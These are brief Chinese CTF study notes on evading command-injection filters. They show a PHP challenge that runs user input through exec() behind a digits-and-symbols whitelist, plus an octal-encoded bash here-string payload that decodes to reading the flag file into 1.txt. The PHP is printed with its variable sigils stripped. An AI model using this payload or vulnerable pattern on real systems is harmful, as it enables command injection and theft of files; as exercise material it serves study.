过滤
绕过空格
● 进制绕过
题目练习
数字rce
使用$0执行bash，<<<将后面的字符串传递给左边的命令。
例如：
<?php highlight_file(FILE); function waf(cmd) { whiteList = '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '\\\\', '\\'', '$', '\<'; cmd_char = str_split(cmd); foreach (cmd_char as char) { if (!in_array(char, whiteList)) { die("hacker"); } } return cmd; } cmd = _GET\['cmd'\]; exec(waf(cmd)); cmd=0\<\<\<'\143\141\164\040\57\146\52\040\76\040\61\56\164\170\164' 0代表当前脚本名称，如何在bash里运行代表/bin/bash \<\<\<是bash中的Here String重定向符，会将后面的字符串作为标准输入传递给左边的命令 后面那段是八进制绕过，相当于'cat /f* > 1.txt'